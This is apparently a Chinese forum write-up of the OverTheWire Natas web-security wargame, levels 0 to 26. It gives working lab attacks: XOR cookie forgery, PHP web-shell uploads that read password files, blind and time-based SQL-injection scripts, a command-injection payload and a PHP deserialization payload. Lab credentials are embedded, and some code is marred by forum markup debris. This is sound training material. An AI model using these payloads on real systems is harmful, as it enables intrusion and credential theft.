web安全Wargame—Natas解题思路(1-26)
前言:
接下来给大家分享一下,1-20题的WriteUp。
Natas0:
Natas1:
Natas2:
Natas3:
Natas4:
Natas5:
Natas6:
Natas7:
Natas8:
Natas9:
Natas10:
Natas11:
01 02 03 04 05 06 07 08 09 10 | function xor_encrypt( $in ){ $key = '<censored>' ; #预定义参数key $text = $in ; #输入参数 $outText = '' ; #输出参数 // Iterate through each character for ( $i =0; $i < strlen ( $text ); $i ++) { # for 循环,遍历输入参数 $outText .= $text [ $i ] ^ $key [ $i % strlen ( $key )]; #将输入参数对应位和key对应位异或,key位数不够则从头循环,结果存到输出参数 } return $outText ; #返回加密结果 } |
加载函数: function loadData($def),加载data,将$_COOKIE["data"]解密还原,存为 $mydata 数组,返回$mydata。 保存函数:function saveData($d),将传入的参数,经过编码处理,存入$_COOKIE["data"]中。 主要思路就是得到构造新的输入参数,使得 "showpassword"=>"yes",编码后得到新的data。这就要求要知道key的值,而已有一个默认值,由此逆推得到key。 [PHP] 纯文本查看 复制代码 ?
01 02 03 04 05 06 07 08 09 10 11 12 13 | <?php $defaultdata = array ( "showpassword" => "no" , "bgcolor" => "#ffffff" ); $data = 'ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw' ; function xor_encrypt( $in , $out ) { $key = '' ; $text = $in ; for ( $i =0; $i < strlen ( $text ); $i ++) { $key .= $text [ $i ] ^ $out [ $i ]; } return $key ; } echo xor_encrypt(json_encode( $defaultdata ), base64_decode ( $data )); ?> |
01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 | <?php $defaultdata = array ( "showpassword" => "yes" , "bgcolor" => "#ffffff" ); function xor_encrypt( $in ) { $key = 'qw8J' ; $text = $in ; $outText = '' ; // Iterate through each character for ( $i =0; $i < strlen ( $text ); $i ++) { $outText .= $text [ $i ] ^ $key [ $i % strlen ( $key )]; } return $outText ; } echo base64_encode (xor_encrypt(json_encode( $defaultdata ))); ?> |
Natas12:
1 2 3 | <?php system( 'cat /etc/natas_webpass/natas13' ); ?> |
Natas13:
还是文件上传,测试上传发现过滤, exif_imagetype()函数,用于检验文件是否是图片,读取一个图像的第一个字节并检查其签名,只要在php文件最前面加上图片信息签名即可绕过。 [PHP] 纯文本查看 复制代码 ?1 2 3 4 5 | GIF89a <?php system( 'cat /etc/natas_webpass/natas14' ); ?> |
Natas14:
Natsa15:
1 | $query = "SELECT * from users where username=\"" . $_REQUEST [ "username" ]. "\"" ; |
1 2 3 4 | CREATE TABLE `users` ( `username` varchar(64) DEFAULT NULL, `password` varchar(64) DEFAULT NULL ); |
1 | 'username' : 'natas16" AND password LIKE binary "%s"%字符' |
01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 | import requests url = "http://natas15:AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J@natas15.natas.labs.overthewire.org/index.php" chr = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz" payload = r 'natas16" AND password LIKE binary "%s" #' #使用like模糊查询不会区分大小写,要带上binary。 key = "%" while len (key) < = 32 : #循环32次 for i in chr : #确定字符 a = key[: - 1 ] + i + key[ - 1 :] print a req = requests.post(url = url,data = { 'username' :payload % a}) if "This user exists" in req.text: key = a print key print key #输出key |
1 | passthru ( "grep -i \"$key\" dictionary.txt" ); |
1 | passthru ( "grep-i " ( $grep ^a etc/natas_webpasswd/natas17)wrong \ " dictionary.txt" ); |
01 02 03 04 05 06 07 08 09 10 11 | import requests url = "http://natas16:WaIHEacj63wnNIBROHeqi3p9t0m5nhmh@natas16.natas.labs.overthewire.org/" key = '' char = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ' [ / color][ / font][ / align][align = left][font = 宋体][color = Black] [ / color][ / font][ / align][align = left][font = 宋体][color = Black] while len (key) < 32 : for i in range ( len (char)): payload = { 'needle' : '$(grep ^' + key + char + '.* /etc/natas_webpass/natas17)wrong' , 'submit' : 'Search' } req = requests.get(url = url,params = payload) if 'wrong' not in req.text: key + = char print key |
Natas17:
01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 | import requests [ / color] [color = Black] url = 'http://natas17:8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw@natas17.natas.labs.overthewire.org/index.php' key = '' for i in range ( 1 , 33 ): a = 32 c = 126 while a<c: b = (a + c) / 2 payload = r 'natas18" and if(%d<ascii(mid(password,%d,1)),sleep(2),1) and "" like "' % (b,i) try : req = requests.post(url = url,data = { "username" :payload},timeout = 2 ) except requests.exceptions.Timeout,e: a = b + 1 b = (a + c) / 2 continue c = b key + = chr (b) print key |
Natas18:




Natas19:
1 2 3 4 5 6 7 | a = [] for i in range ( 30 , 40 ): for j in range ( 30 , 40 ): a.append( '%d%d' % (i,j)) with open ( "1.txt" , "w" )as f: for i in a: f.write(i + "\n" ) |
Natas20:
提示 http://natas21.natas.labs.overthewire.org/页面和http://natas21-experimenter.natas.labs.overthewire.org页面同位,也就是共用服务器,session也是共用的。 查看第一个网页源码,发现主要功能就是判断 session[admin]=1后显示密码; [PHP] 纯文本查看 复制代码 ?
1 2 3 4 5 | 查看第一个网页源码,发现主要功能就是判断session[admin]=1后显示密码; if ( $_SESSION and array_key_exists ( "admin" , $_SESSION ) and $_SESSION [ "admin" ] == 1) { print "You are an admin. The credentials for the next level are:<br>" ; print "<pre>Username: natas22\n" ; print "Password: <censored></pre>" ; |
print "Password: <censored></pre>";[/mw_shl_code] 查看第二个网页源码,发现可以提交数据,更新session,虽然有POST参数校验,但仍可以注入admin=1。 可利用源码: [PHP] 纯文本查看 复制代码 ?
1 2 3 4 5 6 | // if update was submitted, store it if ( array_key_exists ( "submit" , $_REQUEST )) { foreach ( $_REQUEST as $key => $val ) { $_SESSION [ $key ] = $val ; } } |
Natas22:
查看源码,发现关键代码: [PHP] 纯文本查看 复制代码 ?
1 2 3 4 5 | if ( array_key_exists ( "revelio" , $_GET )) { // only admins can reveal the password if (!( $_SESSION and array_key_exists ( "admin" , $_SESSION ) and $_SESSION [ "admin" ] == 1)) { header( "Location: /" ); } |
1 2 3 4 5 6 | // if update was submitted, store it if ( array_key_exists ( "submit" , $_REQUEST )) { foreach ( $_REQUEST as $key => $val ) { $_SESSION [ $key ] = $val ; } } |
1 2 3 4 5 6 7 8 | if ( array_key_exists ( "passwd" , $_REQUEST )){ if ( strstr ( $_REQUEST [ "passwd" ], "iloveyou" ) && ( $_REQUEST [ "passwd" ] > 10 )){ echo "<br>The credentials for the next level are:<br>" ; echo "<pre>Username: natas24 Password: <censored></pre>" ; } else { echo "<br>Wrong!<br>" ; } |
还是登录题,查看源码,发现关键代码: [AppleScript] 纯文本查看 复制代码 ?
01 02 03 04 05 06 07 08 09 10 | < ?php if ( array_key_exists ( "passwd" , $_REQUEST ) ) { if ( !strcmp ( $_REQUEST[ "passwd" ] , "<censored>" ) ) { echo "<br>The credentials for the next level are:<br>" ; echo "<pre>Username: natas25 Password: <censored></pre>" ; } else { echo "<br>Wrong!<br>" ; } } |
查看源码,发现关键函数: [PHP] 纯文本查看 复制代码 ?
01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 | function setLanguage(){ #选择语言 /* language setup */ if ( array_key_exists ( "lang" , $_REQUEST )) if (safeinclude( "language/" . $_REQUEST [ "lang" ] ))#检查输入 return 1; safeinclude( "language/en" ); } function safeinclude( $filename ){ #检查输入参数 // check for directory traversal if ( strstr ( $filename , "../" )){ #禁止目录遍历 logRequest( "Directory traversal attempt! fixing request." ); $filename = str_replace ( "../" , "" , $filename ); } // dont let ppl steal our passwords if ( strstr ( $filename , "natas_webpass" )){ #文件访问控制 logRequest( "Illegal file access detected! Aborting!" ); exit (-1); } // add more checks... if ( file_exists ( $filename )) { #检测目录是否存在 include ( $filename ); return 1; } return 0; } function logRequest( $message ){ #请求日志 $log = "[" . date ( "d.m.Y H::i:s" ,time()) . "]" ; #时间日期 $log = $log . " " . $_SERVER [ 'HTTP_USER_AGENT' ];#加http_user_agent $log = $log . " \"" . $message . "\"\n" ; #加上message $fd = fopen ( "/var/www/natas/natas25/logs/natas25_" . session_id() . ".log" , "a" ); #将日志信息写入文件 fwrite( $fd , $log ); fclose( $fd ); } |
Natas26:
查看源码,发现了 php反序列化函数unserialize(),且可以通过cookie来控制unserialize()的变量,猜测存在php反序列化漏洞。 Php序列化:php为了方便进行数据的传输,允许把复杂的数据结构,压缩到一个字符串中。使用serialize()函数。 Php反序列化:将被压缩为字符串的复杂数据结构,重新恢复。使用unserialize() 函数。 php反序列化漏洞:php有许多魔术方法,如果代码中使用了反序列化 unserialize()函数,并且参数可控制,那么可以通过设定注入参数来完成想要实现的目的。 关键代码: [PHP] 纯文本查看 复制代码 ?
01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 | class Logger{ private $logFile ; #三个私有参数 private $initMsg ; private $exitMsg ; function __construct( $file ){ #类创建时调用 // initialise variables #初始化变量 $this ->initMsg= "#--session started--#\n" ; $this ->exitMsg= "#--session end--#\n" ; $this ->logFile = "/tmp/natas26_" . $file . ".log" ; // write initial message #写入初始信息 $fd = fopen ( $this ->logFile, "a+" ); fwrite( $fd , $initMsg ); fclose( $fd ); } function log( $msg ){ #写入信息 $fd = fopen ( $this ->logFile, "a+" ); fwrite( $fd , $msg . "\n" ); fclose( $fd ); } function __destruct(){ #类销毁时调用 // write exit message #写入退出信息 $fd = fopen ( $this ->logFile, "a+" ); fwrite( $fd , $this ->exitMsg); fclose( $fd ); } } |
01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 | <?php class Logger{ private $logFile ; private $initMsg ; private $exitMsg ; function __construct(){ #注入信息 $this ->initMsg= "" ; $this ->exitMsg= "<?echo include '/etc/natas_webpass/natas27';?>" ; $this ->logFile= "img/aaa.php" ; } } $test = new Logger(); echo serialize( $test ); echo "\n" ; echo base64_encode (serialize( $test )); #显示base64编码后的序列化字符串 ?> |
END~
大家有任何问题可以提问,更多文章可到i春秋论坛阅读哟~

更多精彩